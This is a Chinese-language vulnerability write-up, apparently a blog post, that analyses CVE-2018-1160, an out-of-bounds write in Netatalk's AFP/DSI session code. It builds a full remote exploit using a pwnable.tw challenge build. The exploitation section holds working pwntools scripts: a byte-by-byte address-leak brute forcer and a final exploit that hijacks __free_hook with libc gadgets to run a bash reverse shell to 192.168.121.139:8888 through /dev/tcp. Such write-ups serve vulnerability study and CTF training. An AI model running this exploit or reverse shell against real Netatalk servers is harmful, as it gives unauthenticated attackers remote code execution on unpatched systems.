CVE-2018-1160
2023-10-09 23:45:48

CVE-2018-1160

简介

漏洞简介:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1160

3.1.12之前的Netatalk容易受到dsi_opensess.c中越界写入的影响,缺乏对攻击者数据边界检查,未经身份验证的远程攻击者可以利用此漏洞实现任意代码执行。

Netatalk简介:

https://github.com/Netatalk/netatalk

是一个免费开源的文件管理器,实现了AFP(Apple Filing Protocol),是Apple Macintosh和Apple II计算机的主要文件共享协议。

漏洞定位

Netatalk3.1.11源码:

https://sourceforge.net/projects/netatalk/files/netatalk/3.1.11/

首先先确定下漏洞位置,根据漏洞简介找一下dsi_opensess.c:

由于是越界写的问题,所以我们可以关注一下关于能写入的函数:

image-20230628102041087

因为代码就一点点,基本可以确定漏洞为第一个memcpy:

memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);

为了确定为啥会有漏洞,让我们来看看这个memcpy函数的各个参数都是啥,可以看到都涉及到dsi==》直接右键选择转到类型定义:

#define DSI_DATASIZ       65536

/* child and parent processes might interpret a couple of these
 * differently. */
typedef struct DSI {
	//…………
    uint32_t attn_quantum, datasize, server_quantum;   //第一个参数
    uint16_t serverID, clientID;
    uint8_t  *commands; /* DSI recieve buffer */  //第二,三个参数相关  0~255
    uint8_t  data[DSI_DATASIZ];    /* DSI reply buffer */
    size_t   datalen, cmdlen;
    off_t    read_count, write_count;
    uint32_t flags;             /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
    int      socket;            /* AFP session socket */
    int      serversock;        /* listening socket */
	//…………
} DSI;

可以看到第一个参数指向dsi中的成员attn_quantum,为一个4字节的无符号整型,第二个参数为uint8_t类型,0~0xff(255)==》memcpy函数将从dsi->commands的索引i + 1开始复制dsi->commands[i]字节到&dsi->attn_quantum所指向的地址==》当memcpy复制的大小dsi->commands[i]为我们所控制,memcpy将导致越界写,能覆盖attn_quantum, datasize, server_quantum,serverID, clientID,*commands,但是由于后续的data[DSI_DATASIZ]过于大65536,所以只能溢出到data的一部分。

程序分析

确定完漏洞的位置,我们还要搞清楚程序的执行流程,要如何传入数据可以触发漏洞函数。

那就从main函数开始看起:

image-20230628110801670

在main中根据已有的注释信息,大概判断一下关于对网络连接的处理,例下方设置监听AFP:

image-20230628112924166

往下翻翻就可以看到一个大while,大致判断一下关于网络连接的处理应该是在这个大while中了:

继续往下翻翻,可以看到关于监听套接字的文件描述符LISTEN_FD:

在服务器程序中,当服务器需要监听来自客户端的连接请求时,通常要创建一个监听套接字,并通过bind()和listen()函数将其绑定到指定的地址和端口上;

LISTEN_FD就是用来表示这个监听套接字的的文件描述符==》通过描述符,服务器可以使用相关的系统调用(例:accept())来接收客户端的连接请求,并创建新的套接字来处理与客户端的通信;、

通常,服务器程序会使用多进程或多线程的方式,通过复制多个LISTEN_FD来实现并发处理多个请求==》在AFP中也是类似,对于每个用户请求都会为其fork一个子进程进行处理,而父进程则负责监控请求的处理。

==》通过遍历asev->fdset数组,检查每个文件描述符的事件状态revents(事件返回后的事件标志,每个位代表不同的类型事件)

image-20230911163144237

POLLIN表示有可读数据,也就是文件描述符上有可读事件;POLLIN被定义为POLLRDNORM | POLLRDBAND,这种情况下POLLIN将被定位为同时包括POLLRDNORM(普通可读事件)和POLLRDBAND(优先可读事件)两种事件;使用按位或操作可以同时检测两种事件;

POLLERR表示文件描述符上出现了错误事件;

POLLHUP表示文件描述符上出现了挂起(连接关闭)事件;

POLLNVAL表示不是一个有效的文件描述符;

==》判断是否存在需要处理的事件,若存在待处理事件,则根据fdtype确定是哪种类型的套接字==》

对于LISTEN_FD,它负责监听套接字的事件,当监听套接字上发生事件,表示有新的请求到达==》调用dsi_start()函数进行处理请求,并创建一个子进程来处理对客户端的通信,创建的子进程会继承监听套接字的文件描述符,并将其添加到asev中;

若成功创建子进程并将套接字添加到asev中,就会对其进行一些操作:检查asev是否还有插槽,如果没有则输出错误日志==》关闭子进程的IPC文件描述符,并将其标记为未使用==》最后使用SIGKILL信号强制中止子进程。

==》所以对于请求处理应该在dsi_start()函数中:

调用了dsi_getsession函数,那就继续看看定义:

image-20230628134805691

函数调用了dsi->proto_open(dsi)进行TCP消息的接收和处理,根据注释找到dsi_tcp.c,在其中的初始化函数dsi_tcp_init中可以看到:

image-20230628140638246

所以dsi->proto_open()的函数实体是dsi_tcp_open():

/* accept the socket and do a little sanity checking */
static pid_t dsi_tcp_open(DSI *dsi)
{
    pid_t pid;
    SOCKLEN_T len;

    len = sizeof(dsi->client);
    dsi->socket = accept(dsi->serversock, (struct sockaddr *) &dsi->client, &len);
	//……
    if (dsi->socket < 0)
        return -1;

    getitimer(ITIMER_PROF, &itimer);
    //使用fork创建子进程
    if (0 == (pid = fork()) ) { /* child */
        static struct itimerval timer = {{0, 0}, {DSI_TCPTIMEOUT, 0}};
        struct sigaction newact, oldact;
        uint8_t block[DSI_BLOCKSIZ];  //用于接收DSI数据
        size_t stored;

        /* reset signals */
        server_reset_signal();
		//…………
        dsi_init_buffer(dsi);

        /* read in commands. this is similar to dsi_receive except
         * for the fact that we do some sanity checking to prevent
         * delinquent connections from causing mischief. */

        /* read in the first two bytes */
        //读取两个字节
        len = dsi_stream_read(dsi, block, 2);
        if (!len ) {
            /* connection already closed, don't log it (normal OSX 10.3 behaviour) */
            exit(EXITERR_CLOSED);
        }
        if (len < 2 || (block[0] > DSIFL_MAX) || (block[1] > DSIFUNC_MAX)) {
            LOG(log_error, logtype_dsi, "dsi_tcp_open: invalid header");
            exit(EXITERR_CLNT);
        }

        /* read in the rest of the header */
        //读取剩下的header
        stored = 2;
        while (stored < DSI_BLOCKSIZ) {
            len = dsi_stream_read(dsi, block + stored, sizeof(block) - stored);
            if (len > 0)
                stored += len;
            else {
                LOG(log_error, logtype_dsi, "dsi_tcp_open: stream_read: %s", strerror(errno));
                exit(EXITERR_CLNT);
            }
        }
		//将DSI(数据包) header的值复制到dsi->header结构体里
        dsi->header.dsi_flags = block[0];
        dsi->header.dsi_command = block[1];
        memcpy(&dsi->header.dsi_requestID, block + 2,
               sizeof(dsi->header.dsi_requestID));
        memcpy(&dsi->header.dsi_data.dsi_code, block + 4, sizeof(dsi->header.dsi_data.dsi_code));
        memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));
        memcpy(&dsi->header.dsi_reserved, block + 12,
               sizeof(dsi->header.dsi_reserved));
        dsi->clientID = ntohs(dsi->header.dsi_requestID);

        /* make sure we don't over-write our buffers. */
        dsi->cmdlen = min(ntohl(dsi->header.dsi_len), dsi->server_quantum);

        stored = 0;
        //读取DSI command到dis->commands指针指向的buf中
        while (stored < dsi->cmdlen) {
            len = dsi_stream_read(dsi, dsi->commands + stored, dsi->cmdlen - stored);
            if (len > 0)
                stored += len;
            else {
                LOG(log_error, logtype_dsi, "dsi_tcp_open: stream_read: %s", strerror(errno));
                exit(EXITERR_CLNT);
            }
        }

        /* stop timer and restore signal handler */
    }

    /* send back our pid */
    return pid;
}

总的来说就是调用fork创建子进程,在子进程中将从TCP会话中读取的DSI header复制到dsi->header结构体里,再将DSI command读取到dsi->commands指向的buf中;

==》根据返回值是父进程还是子进程进入不同的处理逻辑:

父进程:直接返回,继续回去监听socket;

子进程:进入DSI消息处理逻辑,根据后续dsi_command的值进行不同的处理:

当dsi_command值为DSIFUNC_OPEN时,将调用dsi_opensession(漏洞)函数,初始化DSI会话;

image-20230628134229849

在这其中涉及到了dsi->header.dsi_command:

看一下定义:右键header转到类型定义:这个dsi_block就是消息的头部了

#define DSI_BLOCKSIZ 16
struct dsi_block {
    uint8_t dsi_flags;       /* packet type: request or reply */
    uint8_t dsi_command;     /* command */
    uint16_t dsi_requestID;  /* request ID */
    union {
        uint32_t dsi_code;   /* error code */
        uint32_t dsi_doff;   /* data offset */
    } dsi_data;
    uint32_t dsi_len;        /* total data length */
    uint32_t dsi_reserved;   /* reserved field */
};

再之后就来到漏洞函数里了:

由switch得知dsi_opensession函数将判断commands[0]的值,若为DSIOPT_ATTNQUANT将会触发越界写:

以commands[1]为大小(可控制),将commands[2]之后的内容拷贝至&dsi->attn_quantum;

并且在上文DSI结构体中*commands是uint8_t类型,占用4bytes,也就是最大0xff大小(0-255);

uint8_t  *commands;

将导致越界写漏洞,根据写入位置与结构体成员变量,该漏洞将覆盖attn_quantum, datasize, server_quantum,serverID, clientID,*commands,data[DSI_DATASIZ];

#define DSI_DATASIZ       65536

因为data数组较大,所以最多也就覆盖至data的部分空间;

在上文漏洞定位中提到越界写将覆盖掉*commands,刚好是一个指针,且能覆盖为任意值,若在这之后能向覆盖后的指针指向的位置写入数据,将能实现任意写,而写入的动作在程序中应该表现为读取DSI数据内容并复制==》

我们将需要发送两次DSI消息:

1、覆盖commands指针为目标地址(hook)

2、触发读取消息的函数,实现向目标地址中写数据

所以我们的程序分析还没有结束,从漏洞所在函数返回子进程到dsi_start中:

接下来程序将会继续执行afp_over_dsi函数了:该函数用于继续会话,使用阻塞的方式继续读取消息;

而在afp_over_dsi的大while中就可以看到一个读取函数dsi_stream_receive了:

image-20230628151651959

dsi_stream_receive:

/*!
 * Read DSI command and data
 *
 * @param  dsi   (rw) DSI handle
 *
 * @return    DSI function on success, 0 on failure
 */
int dsi_stream_receive(DSI *dsi)
{
  char block[DSI_BLOCKSIZ];

  LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: START");

  if (dsi->flags & DSI_DISCONNECTED)
      return 0;

  /* read in the header */
  //与刚刚上文分析的类似的流程,读取DSI header到dsi->header
  if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof(block)) != sizeof(block)) 
    return 0;

  dsi->header.dsi_flags = block[0];
  dsi->header.dsi_command = block[1];

  if (dsi->header.dsi_command == 0)
      return 0;

  memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));
  memcpy(&dsi->header.dsi_data.dsi_doff, block + 4, sizeof(dsi->header.dsi_data.dsi_doff));
  dsi->header.dsi_data.dsi_doff = htonl(dsi->header.dsi_data.dsi_doff);
  memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));

  memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));
  dsi->clientID = ntohs(dsi->header.dsi_requestID);
  
  /* make sure we don't over-write our buffers. */
    //dsi->cmdlen
  dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);

  /* Receiving DSIWrite data is done in AFP function, not here */
  if (dsi->header.dsi_data.dsi_doff) {
      LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request");
      dsi->cmdlen = dsi->header.dsi_data.dsi_doff;
  }
	//读取DSI command到dsi->commands指向的buf中,长度:dsi->cmdline
  if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
    return 0;

  LOG(log_debug, logtype_dsi, "dsi_stream_receive: DSI cmdlen: %zd", dsi->cmdlen);

  return block[1];
}

可以看到在最后进行了读取DSI command到dsi->commands的操作,将造成任意地址写,也就是:

dsi_stream_read(dsi, dsi->commands, dsi->cmdlen)

漏洞利用

由于pwnable.tw有编译好的环境那就直接使用了

https://pwnable.tw/challenge/#39

将netatalk下载完后,解压netatalk,查看:

image-20230628163955167

afpd就是目标程序了,afp.conf是配置文件,查看下:

程序将会监听5566端口;使用以下命令运行:

env LD_PRELOAD=./libatalk.so.18 LD_LIBRARY_PATH=./ ./afpd -d -F ./afp.conf

可以使用netstat -tnlp确定是否开启了5566端口:

而为了能发送合法的数据包,还得先看一下数据包的格式

https://en.wikipedia.org/wiki/Data_Stream_Interface#cite_note-2

image-20230703161028010

在dsi.h中也有注释说明:

/* What a DSI packet looks like:
   0                               32
   |-------------------------------|
   |flags  |command| requestID     |
   |-------------------------------|
   |error code/enclosed data offset|
   |-------------------------------|
   |total data length              |
   |-------------------------------|
   |reserved field                 |
   |-------------------------------|

   CONVENTION: anything with a dsi_ prefix is kept in network byte order.
*/

要进入目标函数,还需要满足一些条件:

1、

image-20230913224732575

#define DSIFUNC_OPEN    4       /* DSIOpenSession */

2、

image-20230913231214775

#define DSIOPT_ATTNQUANT 0x01   /* attention quantum */

构造一个不合法的DSI Open Session请求:

# -*- coding:utf-8 -*-

from pwn import *
import struct

context(log_level="debug")

IP = "127.0.0.1"
port = 5566

sock = remote(IP , port)

# dsi_opensession = b"\x01"
# dsi_opensession += b"\x80"  #length
# dsi_opensession += b"a"*0x80 #client quantum
dsi_opensession = b"\x01"
dsi_opensession += p8(0xc)
dsi_opensession += b"a" * 0x8 + b"clre"

dsi_header = b"\x00" #flag
dsi_header += b"\x04" #command DSIFUNC_OPEN
dsi_header += b"\x00\x01"  #requestID
dsi_header += b"\x00\x00\x00\x00"  #data offset
dsi_header += struct.pack(b">I",len(dsi_opensession)) #data length
dsi_header += b"\x00\x00\x00\x00"  #reserved 保留字段
dsi_header += dsi_opensession

sock.send(dsi_header)

sock.recv()
#pause()
sock.interactive()

关闭ASLR(方便调试)

echo 0 > /proc/sys/kernel/randomize_va_space

启动调试:

sudo gdb --pid [pid] -q
set follow-fork-mode child  #追踪子进程
c
#运行poc.py

image-20230918140131787

进程停止,原因是对地址非法解引用了==》记录此处地址,将poc改成刚刚好覆盖掉attn_quantum, datasize, server_quantum;

==》再次运行poc:

image-20230918143350730

此时它正好返回我们覆盖“clre”的server_quantum,通过search可以匹配到==》所以紧随其后的0x00007f3ea690b010就是*commands了;

image-20230918144113365

通过vmmap查看内存布局,找到*commands所在地址范围,此处我原本使用的环境是ubuntu20.04,但是发现内存布局不是很符合预期,就换成了ubuntu18.04:

image-20230919001247799

可以看出*commands就位于ld.so后面,且大小较大,为此,还得看一下这个内存块是怎么来的;大致判断下创建该空间应该是在fork子进程后实现,所以会在dsi_tcp.c中,也就是上文中的dsi_tcp_open函数中;大致判断一下可以看出是dsi_init_buffer(dsi);,初始化内存空间;

image-20230919222049842

当然,也是可以直接查看dsi->command的引用,也是可以看到的:

image-20230919223905723

并且dsi->server_quantum的初始值为DSI_SERVQUANT_DEF ,0x100000超过了brk()能分配的最大大小,所以dsi->commands是由mmap分配的;

#define DSI_SERVQUANT_DEF   0x100000L   /* default server quantum (1 MB) */

泄露地址

在上文中可以看到,如果我们发送了一个覆盖掉command为非法地址的数据包,会触发非法地址访问,程序将不会有返回包;反之若为合法地址的话会有一个返回包==》

由于每次进行TCP连接都会通过fork一个子进程来处理,而子进程与父进程的地址空间是相同的==》

我们可以通过单字节修改的方式修改command,当程序不出现crash时就证明它是一个合法的地址,并且程序也会将带有server_quantum的数据包返回给我们==》

由此,我们将可以获得一个合法的地址,并根据这个地址可以计算获得libc的基地址==》

在上文中可以看到command所在的内存地址位于高地址,所以可以选择从高地址往低地址方向爆破(255->0)==》

就像是这样,通过单字节修改command,当不出现crash就是合法地址了:

dsi_opensession = b"\x01"
dsi_opensession += p8(0x11)
dsi_opensession += b"a" * 0x10 + b"A"

image-20230924164609095

# -*- coding:utf-8 -*-

from pwn import *
import struct

context(log_level="debug")
IP = "192.168.121.141" 
port = 5566

def create_dsi(data):
    dsi  = b'\x00\x04\x00\x01'
    dsi += p32(0) #data offset
    dsi += p32(len(data),endian='big') #data length
    dsi += p32(0) #保留字段
    dsi += data
    return dsi

def leak_addr():
    leak = b''
    for j in range(8):
        for i in range(256):
            if(j>1 and j<6): i = 255 - i  #从高到低
            io = remote(IP,port)
            payload  = b'\x01'+ p8(0x11+j)+ b'a'*0x10 + leak + p8(i)
            io.send(create_dsi(payload))  #触发越界写
            try:
                a = io.recv()
                leak += p8(i)
                log.success(str(hex(i)))
                io.close()
                break
            except:
                io.close()
    return u64(leak)

leak_addr = leak_addr()
log.success(hex(leak_addr))

执行结果:

image-20231007180407872

查看一下目标程序的内存地址分布

cat /proc/[PID]/maps

image-20231007180853165

可以看到泄露出来的地址正好就在ld.so后面;并且可以根据这个地址拿到上面libc的基地址,我这里距离基地址为0xebb000;

leak_addr = leak_addr()
libc_base = leak_addr - 0xebb000

构造利用链

获取了基地址后也就可以继续构思如何实现RCE了,一般在PWN中,我们一般都是通过劫持几个特殊的函数指针实现:

例如free_hook,exit_hook这些

https://xuanxuanblingbling.github.io/ctf/pwn/2021/05/31/libc/

当然,在本程序中肯定是不会缺少free的,所以决定往劫持free_hook的方向走==》我们的最终目的是system([cmd])==》所以是需要一些gadgets控制一些寄存器实现==》在libc2.27中就恰好有一段gadget,就是setcontext+53,他在你控制了rdi寄存器的情况下,几乎可以控制所有寄存器;并且在pwntools中也有方便我们控制这段代码的SigreturnFrame,详情的话可以去看看SROP==》

setcontext+53:

image-20231009215322887

为此我们还需要控制rdi,这里参考了一些师傅的文章看到了以下两个gadget:

__libc_dlopen_mode+56:

image-20231007213715641

这段gadget首先将_dl_open_hook内的值赋值给rax,再以rax里面的值为地址取里面的值,跳转至该值对应的地址上;

并且_dl_open_hook也是比较好劫持的,它就在free_hook下方,可以在覆盖劫持free_hook的时候顺便劫持;偏移为0x2ca0

fgetpos64+207:

image-20231007213906778

这个gadget可以使用ROPgadget找到,主要目的就是将rax赋值给rdi;

ROPgadget --binary libc-2.27.so --only "mov|call" | grep "mov rdi, rax"

至此,我们已经可以实现控制执行流和大部分寄存器;

布局:

image-20231009225751887

==》payload覆盖了free_hook,使得在执行free时执行libc_dlopen_mode+56,这个gadget会取_dl_open_hook中的值赋值给rax,此时这个值被我们覆盖为了_dl_open_hook+8,赋值给rax,然后就会再取rax(_dl_open_hook+8)里面的值进行跳转,也就是第二个gadget:fgetpos64+207==》

在这个gadget中将rax的值赋值给了rdi,所以现在rax=rd的值为_dl_open_hook+8;

进行call,跳转到rax+0x20,所以后面需要填充一段数据0x18大小,加上0x8大小的_dl_open_hook+8刚好为0x20==》

此时来到了rax+0x20 :setcontext+53,因为rdi被赋值为_dl_open_hook+8,距离后续的sigframe还有0x28字节,所以在后面使用SigreturnFrame布局sigframe时要跳过前0x28字节==》

最后就是命令执行了,提前在free_hook+8中写入命令(cmd),调用system进行执行。

EXP

# -*- coding:utf-8 -*-

from pwn import *
import struct

context(arch="amd64", log_level="debug")
IP = "192.168.121.141" #
port = 5566
libc = ELF('./libc-2.27.so')

cmd = b'bash -c "bash  -i>& /dev/tcp/192.168.121.139/8888 0<&1"'

def create_dsi(data):
    dsi  = b'\x00\x04\x00\x01'
    dsi += p32(0) #data offset
    dsi += p32(len(data),endian='big') #data length
    dsi += p32(0) #保留字段
    dsi += data
    return dsi

def leak_addr():
    leak = b''
    for j in range(8):
        for i in range(256):
            if(j>1 and j<6): i = 255 - i  #从高到低
            io = remote(IP,port)
            payload  = b'\x01'+ p8(0x11+j)+ b'a'*0x10 + leak + p8(i)
            io.send(create_dsi(payload))  #触发越界写
            try:
                a = io.recv()
                leak += p8(i)
                log.success(str(hex(i)))
                io.close()
                break
            except:
                io.close()
    return u64(leak)

def command_free(io,addr):
    payload = b'\x01' + p8(0x18) + b"A"*0x10 + p64(addr)
    dsi_free = create_dsi(payload)
    io.send(dsi_free)
    try:
        reply = io.recv()
        return reply # it will retrun "AAAA"
    except:
        return None

leak_addr = leak_addr()
log.success(hex(leak_addr))

libc_base = leak_addr - 0xebb000
#libc_base = 0x
log.success(hex(libc_base))
free_hook=libc_base+libc.sym["__free_hook"]
dl_open_hook=libc_base+libc.sym["_dl_open_hook"]
system_addr=libc_base+libc.sym["system"]
setcontext_53=libc_base+0x52085
libc_dlopen_mode_56=libc_base+0x166318
fgetpos64_207=libc_base+0x7E9cF

sigframe = SigreturnFrame()
sigframe.rip = system_addr
sigframe.rdi = free_hook + 8
sigframe.rsp = free_hook

payload = p64(libc_dlopen_mode_56)
payload += cmd.ljust(0x2ca0-8,b"\x00")
payload += p64(dl_open_hook + 8)
payload += p64(fgetpos64_207)
payload += b"A"*0x18
payload += p64(setcontext_53)
payload += bytes(sigframe)[0x28:]  #跳过前28字节

io = remote(IP,port)
command_free(io,free_hook)  #触发越界写,将free_hook写入command
io.send(create_dsi(payload))
io.close()  #隐式调用free,促发call __free_hook

验证:

image-20231009232820919

image-20231009232712168

本地的话大概1分钟不到就rce了。

总结

此漏洞在3.1.12版本已被修复:

image-20230628100543370